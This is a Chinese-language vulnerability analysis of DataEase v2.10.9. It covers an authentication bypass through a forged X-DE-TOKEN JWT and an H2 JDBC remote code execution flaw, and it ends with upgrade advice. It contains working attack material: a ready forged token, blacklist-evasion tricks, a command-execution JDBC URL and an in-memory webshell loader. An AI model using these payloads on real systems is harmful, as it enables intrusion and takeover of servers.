DataEase 权限绕过与远程代码执行漏洞分析
字数 1394 2025-08-29 22:41:32
DataEase 权限绕过与远程代码执行漏洞分析
漏洞概述
DataEase 存在两个关键安全漏洞:
- 权限绕过漏洞:通过特定方式构造请求可绕过身份验证
- 远程代码执行漏洞:通过H2数据库连接功能可实现任意命令执行
环境准备
调试环境搭建
Kali Linux端配置:
- 修改DataEase配置文件:
vi /opt/dataease2.0/docker-compose.yml
- 添加/修改以下配置:
environment:
- JAVA_DEBUG=true
ports:
- ${DE_PORT}:8100
- 5005:5005
- 重启DataEase服务:
dectl restart
Windows端配置:
- 下载DataEase源码:
https://github.com/dataease/dataease/archive/refs/tags/v2.10.9.zip
- 使用IDEA打开项目
- 配置远程JVM调试
权限绕过漏洞分析
漏洞位置
漏洞存在于鉴权过滤器中:
io.dataease.auth.filter.TokenFilter#doFilterio.dataease.auth.filter.CommunityTokenFilter#doFilter
通过代码对比发现,CommunityTokenFilter#doFilter中存在验证不严问题。
漏洞原理
- 在
CommunityTokenFilter#doFilter中,验证token失败时没有直接退出程序,而是继续执行doFilter,导致权限绕过 - 通过构造特定请求头可绕过鉴权
绕过条件
- 请求头中需要包含
X-DE-TOKEN(JWT格式) X-DE-TOKEN长度需小于100- JWT中需要包含
uid字段,且uid=1即可
有效JWT示例
{
"typ": "JWT",
"alg": "HS256"
}.{
"uid": 1,
"oid": 1,
"exp": 1750250627
}.mpUhKHy1CPfhyb9w-flz9oTIFF52dB2QoXvnmnA0vRs
Base64编码后的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzUwMjUwNjI3fQ.mpUhKHy1CPfhyb9w-flz9oTIFF52dB2QoXvnmnA0vRs
H2数据库远程代码执行漏洞
漏洞位置
主要涉及以下关键类:
io.dataease.datasource.provider.CalciteProvider#getConnectionio.dataease.datasource.type.H2#getJdbc
漏洞原理
- 通过H2数据库的JDBC连接功能,可利用其特性执行任意命令
- 需要绕过黑名单限制(检测
INIT、RUNSCRIPT等关键字)
绕过黑名单方法
- 使用大小写变形:
Init代替INIT - 使用转义字符:
I\N\I\T
命令执行POC
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INit=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)}';CALL EXEC('touch /tmp/1');
H2 JDBC内存马注入
参考文章:
- https://mp.weixin.qq.com/s/PlRwbc5AhJDjPwIZcUv5Rw
- https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html
示例POC(需替换tomcatStr为实际内存马代码):
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INiT=CREATE ALIAS if not exists AQWSSSAZ AS 'void shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\\;String tomcatStr=\"\"\\;java.lang.Class unsafeClass=java.lang.Class.forName(\"sun.misc.Unsafe\")\\;java.lang.reflect.Field unsafeField=unsafeClass.getDeclaredField(\"theUnsafe\")\\;unsafeField.setAccessible(true)\\;sun.misc.Unsafe unsafe=(sun.misc.Unsafe)unsafeField.get(null)\\;java.lang.Module module=java.lang.Object.class.getModule()\\;java.lang.Class cls=AQWSSSAZ.class\\;long offset=unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField(\"module\"))\\;unsafe.getAndSetObject(cls,offset,module)\\;java.lang.reflect.Method defineClass=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",byte[].class,java.lang.Integer.TYPE,java.lang.Integer.TYPE)\\;defineClass.setAccessible(true)\\;byte[] bytecode=java.util.Base64.getDecoder().decode(tomcatStr)\\;java.lang.Class clazz=(java.lang.Class)defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length)\\;clazz.newInstance(CALL AQWSSSAZ('calc')"
修复方案
- 升级到DataEase v2.10.10或更高版本
- 修复commit对比:
- https://github.com/dataease/dataease/releases
- https://github.com/dataease/dataease/compare/v2.10.9...v2.10.10
参考资源
- H2数据库RCE分析:
- https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html
- Java RCE示例:
- https://github.com/Whoopsunix/JavaRce/blob/main/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/H2Attack.java